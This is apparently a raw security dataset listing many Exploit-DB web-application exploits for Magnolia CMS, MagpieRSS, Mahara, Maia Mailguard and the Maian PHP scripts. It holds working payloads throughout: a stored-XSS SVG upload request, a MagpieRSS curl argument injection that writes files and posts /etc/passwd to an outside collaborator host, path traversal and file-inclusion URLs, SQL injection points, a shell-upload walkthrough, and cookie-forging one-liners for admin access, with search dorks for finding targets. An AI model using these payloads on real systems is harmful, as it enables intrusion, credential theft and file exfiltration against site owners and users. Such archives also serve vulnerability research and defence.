deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50976
Description: Magnolia CMS 6.2.19 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-07-21
Author: Giulio Garzia Ozozuz

Exploit:
# Exploit Title: Magnolia CMS 6.2.19 - Stored Cross-Site Scripting (XSS)
# Date: 08/05/2022
# Exploit Author: Giulio Garzia 'Ozozuz'
# Vendor Homepage: https://www.magnolia-cms.com/
# Software Link: https://nexus.magnolia-cms.com/service/local/repositories/magnolia.public.releases/content/info/magnolia/bundle/magnolia-community-demo-webapp/6.2.19/magnolia-community-demo-webapp-6.2.19-tomcat-bundle.zip
# Version: 6.2.19
# Tested on: Linux, Windows, Docker
# CVE : CVE-2022-33098

Explanation
Malicious user with the permissions to upload profile picture for a contact, can upload an SVG file containing malicious JavaScript code that will be executed by anyone opening the malicious resource.

===== REQUEST =====
POST /magnoliaAuthor/.magnolia/admincentral/APP/UPLOAD/0/140/action/cba61868-b27a-4d50-983d-adf48b992be1 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Length: 620
Connection: close
Cookie: csrf=_WLVhBj-Vv-sdc37C4GBahMJ1tPS_7o_Y1VCEEw18Ks; JSESSIONID=F2678A586264F811C2746E4138BEF34D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]
Content-Disposition: form-data; name="140_file"; filename="xss.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert('POC - Magnolia CMS');
  </script>
</svg>

----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--
Exploit-DB #26895
Description: Magnolia Search Module 2.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15954/info

Magnolia Content Management Suite is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue affects version 2.1; other versions may also be vulnerable.

http://www.example.com/search.html?query=[XSS]
Exploit-DB #49643
Description: MagpieRSS 0.72 - 'url' Command Injection
Type: webapps
Platform: php
Date: 2021-03-15
Author: bl4ckh4ck5

Exploit:
# Exploit Title: MagpieRSS 0.72 - 'url' Command Injection and Server Side Request Forgery
# Date: 24 March 2021
# Exploit Author: bl4ckh4ck5
# Vendor Homepage: http://magpierss.sourceforge.net/ 
# Software Link: https://sourceforge.net/projects/magpierss/files/magpierss/magpierss-0.72/magpierss-0.72.tar.gz/download
# Version: MagpieRSS 0.72 and maybe older once aswell.
# Tested on: Linux debian buster with default apache install.

In MagpieRSS 0.72 on the /scripts/magpie_debug.php?url=testtest and /scripts/magpie_simple.php page i noticed there was a command injection in the RSS URL field when you send a https url and click the Parse RSS button.
if you would send "https://www.example.com? -o /var/www/html/testtest.php" as input it would save the url output to the testtest.php file directly in the /var/www/html/ folder.
the "?" is importent or it won't work.
it is also possible to read any file if you send it like this "https://zcf0arfay3qgko9i7xr0b2vnxe39ry.burpcollaborator.net? --data '@/etc/passwd'" then the page "zcf0arfay3qgko9i7xr0b2vnxe39ry.burpcollaborator.net" would receive as POST data the /etc/passwd file.

Outside of that because it uses the curl request directly from the prompt it is not restricted and it is possible to request internal pages like 127.0.0.1 however it is restricted to https requests only, but you can partionaly work arround that by sending the url like this "https://www.example.com? http://localhost/server-status/" then it also can send it to a http domain however then it is blind ssrf but on https domains you can make it vissable by first saving it to a file and if you can't write in the /var/www/html folder you sometimes can write it to the /tmp/testtest.txt and use "https://www.example.com? --data '@/tmp/testtest.txt'" to retrieve that file.

The problem occures in the file /extlib/Snoopy.class.inc on line 660:
https://github.com/kellan/magpierss/blob/04d2a88b97fdba5813d01dc0d56c772d97360bb5/extlib/Snoopy.class.inc#L660
On that page there they use a escapeshellcmd command to escape the https url however they didn't put it between quotes.
so it's possible to add a "-" to this and rewrite the curl command on the /scripts/magpie_debug.php and /scripts/magpie_simple.php page.
from there on you can esculate it to Server side request forgery or Code injection.

It mostlickly affects most versions but i have only tested it on version 0.72.
Exploit-DB #32992
Description: MagpieRSS 0.72 - Cross-Site Scripting / HTML Injection
Type: webapps
Platform: php
Date: 2009-05-08
Author: Justin Klein Keane

Exploit:
source: https://www.securityfocus.com/bid/34891/info

MagpieRSS is prone to multiple cross-site scripting issues and an HTML-injection issue because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

MagpieRSS 0.72 is vulnerable; other versions may also be affected.

http://www.example.com/magpierss-0.72/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert(%27xss%27);%3C/script http://www.example.com/magpierss-0.72/scripts/magpie_simple.php?url=%22%3E%3Cscript%3Ealert(%27xss%27);%3C/script <?xml version="1.0" encoding="utf-8"?> <rss version="2.0" xml:base="http://www.example.com" xmlns:dc="http://purl.org/dc/elements/1.1/"> <channel> <title>Justin.MadIrish.net <script>alert('xss title');</script>- Justin&#039;s Personal Homepage</title> <link>http://www.example.com</link> <description>Close personal friends with Evil Eve.</description> <language>en</language> <item> <title>Disturbing<script>alert('xss title');</script> XSS<script>alert('xss title');</script></title> <link>http://www.example.com/node/343 <script>alert('xss link');</script></link> <description>foobar</description> <pubDate>Wed, 04 Mar 2009 13:42:09 +0000</pubDate> <dc:creator>justin</dc:creator> <guid isPermaLink="false">343 at http://www.example.com</guid> </item> </channel> </rss>
Exploit-DB #37565
Description: Mahara 1.4.1 - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-02
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/54776/info

Mahara is prone to multiple cross-site scripting vulnerabilities and an HTML-injection vulnerability because it fails to properly sanitize user-supplied text.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Mahara versions prior to 1.5.2 and prior to 1.4.3 are vulnerable. 

 http://www.example.com/mahara-1.5.1/mahara-1.5.1/htdocs/admin/users/changeuser.php?xss=\x22\x3E\x3C\x68\x31\x3E\x58\x53\x53\x3C\x2F\x68\x31\x3E\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x39\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29\x3E
Exploit-DB #30277
Description: Maia Mailguard 1.0.2 - 'login.php' Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2007-07-05
Author: Adriel T. Desautels

Exploit:
source: https://www.securityfocus.com/bid/24770/info

Maia Mailguard is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an unauthorized user to view files and execute local scripts.

These issues affects Maia Mailguard 1.0.2 and prior versions. 

http://www.example.com/maia/login.php?lang=../../../../../../../../../../../../../var/log/httpd-error.log%00.txt
Exploit-DB #6047
Description: Maian Cart 1.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-12
Author: Saime

Exploit:
Author: Saime
Date: July 12, 2008
Script: Maian Cart v1.1 Insecure Cookie Handling Vulnerability
URL: http://www.maianscriptworld.co.uk
Dork: Powered by Maian Cart v1.1

Description:
Maian Car v1.1 is suffering from insecure cookie handling, the /admin/index.php only checks if cookie mccart_cookie,
equals admin username(md5)

Exploit:
javascript:document.cookie = "mccart_cookie=21232f297a57a5a743894a0e4a801fc3; path=/"

Note:
The cookie value must be md5(the username). For example, 21232f297a57a5a743894a0e4a801fc3 = admin

# milw0rm.com [2008-07-12]
Exploit-DB #6048
Description: Maian Events 2.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-12
Author: Saime

Exploit:
Author: Saime
Date: July 12, 2008
Script: Maian Events v2.0 Insecure Cookie Handling Vulnerability
URL: http://www.maianscriptworld.co.uk
Dork: Maian Events v2.0 Copyright Â© 2005-2008 Maian Script World. All Rights Reserved

Description:
Maian Events v2.0 is suffering from insecure cookie handling, the /admin/index.php only checks if cookie mevents_admin_cookie,
equals admin username(md5)

Exploit:
javascript:document.cookie = "mevents_admin_cookie=21232f297a57a5a743894a0e4a801fc3; path=/"
Note:
The cookie value must be md5(the username). For example, 21232f297a57a5a743894a0e4a801fc3 = admin

# milw0rm.com [2008-07-12]
Exploit-DB #6049
Description: Maian Gallery 2.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-12
Author: Saime

Exploit:
Author: Saime
Date: July 12, 2008
Script: Maian Gallery v2.0 Insecure Cookie Handling Vulnerability
URL: http://www.maianscriptworld.co.uk
Dork: Maian Gallery v2.0 Copyright Â© 2006-2008 Maian Script World. All Rights Reserved.

Description:
Maian Gallery v2.0 is suffering from insecure cookie handling, the /admin/index.php only checks if cookie mgallery_admin_cookie,
equals admin username(md5)

Exploit:
javascript:document.cookie = "mgallery_admin_cookie=21232f297a57a5a743894a0e4a801fc3; path=/php/demos/mgallery/admin/"

Note:
The cookie value must be md5(the username). For example, 21232f297a57a5a743894a0e4a801fc3 = admin

# milw0rm.com [2008-07-12]
Exploit-DB #41789
Description: Maian Greetings 2.1 - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2017-04-04
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Maian Greetings v2.1 - SQL Injection
# Google Dork: N/A
# Date: 04.04.2017
# Vendor Homepage: http://www.maiansoftware.com/
# Software: http://www.maiangreetings.com/?dl=yes
# Demo: http://www.maiansoftware.com/demos/greetings/
# Version: 2.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?cmd=search&keywords=a&cat=[SQL]
# # # # #
Exploit-DB #11301
Description: Maian Greetings 2.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-01-31
Author: indoushka

Exploit:
========================================================================================            
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iq-ty.com/vb - Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)                                                                             
| # Web Site : http://www.maianscriptworld.co.uk/free-php-scripts/maian-uploader/free-file-upload-system/index.html                                                                                                                            
| # Dork     : Powered by Maian Greetings v2.1                                         
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Shell Upload                                                                     
======================      Exploit By indoushka       =================================
# Exploit  : 
 
 1- (First Create Account) http://127.0.0.1/greetings/index.php?cmd=account
 
 2- (Second Upload your file) http://127.0.0.1/greetings/index.php?cmd=ecard&random=1
 
 3- (Third Find It in) http://127.0.0.1/greetings/images/uploads/user1_[PII_REDACTED].php.gif
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad ======================================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (Tinjah.com) * Yashar (sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net 
www.alkrsan.net * www.kadmiwe.net * www.arhack.net   
--------------------------------------------------------------------------------------------------------------
Exploit-DB #6050
Description: Maian Greetings 2.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-12
Author: Saime

Exploit:
Author: Saime
Date: July 12, 2008
Script: Maian Greetings v2.1 Insecure Cookie Handling Vulnerability
URL: http://www.maianscriptworld.co.uk
Dork: Powered by: Maian Greetings v2.1

Description:
Maian Greetings v2.1 is suffering from insecure cookie handling, the /admin/index.php only checks if cookie mecard_admin_cookie,
equals admin username.

Exploit:
javascript:document.cookie = "mecard_admin_cookie=admin; path=/php/demos/greetings/admin/"

# milw0rm.com [2008-07-12]
Exploit-DB #6061
Description: Maian Guestbook 3.2 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-13
Author: S.W.A.T.

Exploit:
-[*]+================================================================================+[*]-
-[*]+          Maian Guestbook <= 3.2 Insecure Cookie Handling Vulnerability         +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by Maian Guestbook v3.2



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

   Maian Guestbook suffers from a insecure cookie, the admin panel only checks if the

cookie exists.
    and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

    javascript:document.cookie = "gbook_cookie=1; path=/";


[*] NOTE/TIP:

    after running the javascript, visit "/admin/index.php" to view admin area.



-[*]+================================================================================+[*]-
-[*]+          Maian Guestbook <= 3.2 Insecure Cookie Handling Vulnerability         +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-13]
Exploit-DB #6062
Description: Maian Links 3.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-13
Author: S.W.A.T.

Exploit:
-[*]+================================================================================+[*]-
-[*]+            Maian Links <= v3.1 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by: Maian Links v3.1



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

   Maian Links suffers from a insecure cookie, the admin panel only checks if the cookie

exists.
    and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

    javascript:document.cookie = "links_cookie=1; path=/";


[*] NOTE/TIP:

    after running the javascript, visit "/admin/index.php" to view admin area.



-[*]+================================================================================+[*]-
-[*]+            Maian Links <= v3.1 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-13]
Exploit-DB #6051
Description: Maian Music 1.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-12
Author: Saime

Exploit:
Author: Saime
Date: July 12, 2008
Script: Maian Music v1.0 Insecure Cookie Handling Vulnerability
URL: http://www.maianscriptworld.co.uk
Dork: Maian Music v1.0. Copyright Â© 2007-2008 Maian Script World. All Rights Reserved.

Description:
Maian Music v1.0 is suffering from insecure cookie handling, the /admin/index.php only checks if cookie mmusic_cookie,
equals admin username.(md5)

Exploit:
javascript:document.cookie = "mmusic_cookie=21232f297a57a5a743894a0e4a801fc3; path=/php/demos/music/admin/"

Note:
The cookie value must be md5(the username). For example, 21232f297a57a5a743894a0e4a801fc3 = admin

# milw0rm.com [2008-07-12]
Exploit-DB #3284
Description: Maian Recipe 1.0 - 'path_to_folder' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-07
Author: Denven

Exploit:
*****************
Found by Denven *
*****************
*****************
*****************
Script: http://www.maianscriptworld.co.uk/freestuff_1975_recipe.html
*****************
Google Dork: "Powered by Maian Recipe v1.0"
*****************
ERROR:
classes/class_mail.inc.php :

include($path_to_folder.'classes/class.phpmailer.php');


****************************************************************************
**********
RFI:

http://www.SITE.com/path/classes/class_mail.inc.php?path_to_folder=[shell]

****************************************************************************
**********
denven[at]gmail[dot]com

# milw0rm.com [2007-02-07]
Exploit-DB #6063
Description: Maian Recipe 1.2 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-13
Author: S.W.A.T.

Exploit:
-[*]+================================================================================+[*]-
-[*]+           Maian Recipe <= v1.2 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by: Maian Recipe v1.2



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

   Maian Recipe suffers from a insecure cookie, the admin panel only checks if the cookie

exists.
    and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

    javascript:document.cookie = "recipe_cookie=1; path=/";


[*] NOTE/TIP:

    after running the javascript, visit "/admin/index.php" to view admin area.



-[*]+================================================================================+[*]-
-[*]+           Maian Recipe <= v1.2 Insecure Cookie Handling Vulnerability          +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-13]
Exploit-DB #6066
Description: Maian Search 1.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-07-13
Author: S.W.A.T.

Exploit:
-[*]+================================================================================+[*]-
-[*]+          Maian Search <= v1.1 Insecure Cookie Handling Vulnerability           +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by: Maian Search v1.1



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

   Maian Search suffers from a insecure cookie, the admin panel only checks if the cookie

exists.
    and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

    javascript:document.cookie = "search_cookie=1; path=/";


[*] NOTE/TIP:

    after running the javascript, visit "/admin/index.php" to view admin area.



-[*]+================================================================================+[*]-
-[*]+          Maian Search <= v1.1 Insecure Cookie Handling Vulnerability           +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-13]
Exploit-DB #37520
Description: Maian Survey - '/index.php' URI redirection / Local File Inclusion
Type: webapps
Platform: php
Date: 2012-07-20
Author: PuN!Sh3r

Exploit:
source: https://www.securityfocus.com/bid/54613/info

Maian Survey is prone to a URI-redirection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these vulnerabilities to execute arbitrary local files within the context of the webserver process or redirect users to a potentially malicious site. This may aid in phishing attacks or allow the attacker to compromise the application; other attacks are also possible.

Maian Survey 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[PATH]/admin/index.php?cmd=LFÃ?Â°_here
Exploit-DB #41788
Description: Maian Survey 1.1 - 'survey' SQL Injection
Type: webapps
Platform: php
Date: 2017-04-04
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Maian Survey v1.1 - SQL Injection
# Google Dork: N/A
# Date: 04.04.2017
# Vendor Homepage: http://www.maiansoftware.com/
# Software: http://www.maiansurvey.com/?dl=yes
# Demo: http://www.maiansoftware.com/demos/survey/
# Version: 1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?cmd=surveys&survey=[SQL]
# # # # #
Exploit-DB #31743
Description: Maian Uploader 4.0 - 'header.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-05
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/29051/info
  
Maian Uploader is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Maian Uploader 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/inc/header.php?msg_charset="<script>alert(&#039;xss&#039;)</script>
http://www.example.com/admin/inc/header.php?msg_header9="<script>alert(&#039;xss&#039;)</script>
http://www.example.com/admin/inc/header.php?msg_header9="<script>alert(&#039;xss&#039;)</script>